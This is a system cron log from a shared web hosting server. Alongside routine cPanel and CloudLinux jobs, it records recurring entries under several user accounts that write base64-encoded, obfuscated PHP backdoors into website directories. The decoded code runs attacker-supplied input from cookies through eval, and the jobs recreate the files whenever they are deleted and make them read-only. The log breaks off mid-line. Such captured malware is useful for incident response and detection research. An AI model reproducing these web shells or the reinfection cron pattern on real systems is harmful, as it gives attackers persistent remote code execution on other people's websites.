Mar  1 06:05:01 medusa CROND[20282]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:05:01 medusa CROND[20291]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:05:01 medusa CROND[20285]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 06:05:01 medusa CROND[20266]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:05:01 medusa CROND[20280]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:06:01 medusa CROND[12292]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:06:01 medusa CROND[12351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:06:01 medusa CROND[12354]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:06:01 medusa CROND[12355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:06:01 medusa CROND[12356]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:06:01 medusa CROND[12357]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:06:01 medusa CROND[12359]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:06:01 medusa CROND[12364]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:06:01 medusa CROND[12366]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:06:01 medusa CROND[12371]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:06:01 medusa CROND[12375]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:06:01 medusa CROND[12376]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:06:01 medusa CROND[12377]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:06:01 medusa CROND[12383]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:06:01 medusa CROND[12385]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:07:01 medusa CROND[4538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:07:01 medusa CROND[4539]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:07:01 medusa CROND[4540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:07:01 medusa CROND[4543]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:07:01 medusa CROND[4544]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:07:01 medusa CROND[4545]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:07:01 medusa CROND[4546]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:07:01 medusa CROND[4547]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:07:01 medusa CROND[4549]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnI